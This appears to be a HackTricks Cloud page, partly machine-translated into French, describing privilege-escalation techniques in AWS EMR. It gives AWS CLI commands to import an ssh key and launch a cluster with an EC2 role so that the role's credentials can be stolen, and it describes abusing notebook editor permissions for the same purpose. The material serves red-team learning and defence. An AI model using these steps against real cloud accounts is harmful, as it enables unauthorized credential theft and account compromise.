AWS - EMR Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
EMR
Plus dâinfos sur EMR dans:
iam:PassRole, elasticmapreduce:RunJobFlow
Un attaquant disposant de ces permissions peut exécuter un nouveau cluster EMR en attachant des rÎles EC2 et tenter de voler ses identifiants.
Notez que pour cela vous auriez besoin de know some ssh priv key imported in the account ou dâen importer une, et dâĂȘtre capable de open port 22 in the master node (vous pourriez ĂȘtre capable de le faire avec les attributs EmrManagedMasterSecurityGroup et/ou ServiceAccessSecurityGroup dans --ec2-attributes).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Note how an EMR role is specified in --service-role and a ec2 role is specified in --ec2-attributes inside InstanceProfile. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
Impact potentiel : Privesc vers le EC2 service role spécifié.
elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole
Avec ces permissions, un attaquant peut aller sur la AWS console, créer un Notebook et y accéder pour voler le IAM Role.
Caution
MĂȘme si vous attachez un IAM role Ă lâinstance du notebook, lors de mes tests jâai remarquĂ© que jâai pu voler des credentials gĂ©rĂ©s par AWS et non des creds liĂ©s Ă lâIAM role.
Impact potentiel : Privesc vers le AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Rien que avec cette permission, un attaquant pourra accéder au Jupyter Notebook et voler le IAM role qui lui est associé.
LâURL du notebook est https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
Caution
MĂȘme si vous attachez un IAM role Ă lâinstance du notebook, lors de mes tests jâai remarquĂ© que jâai pu voler des credentials gĂ©rĂ©s par AWS et non des creds liĂ©s Ă lâIAM role.
Impact potentiel : Privesc vers le AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

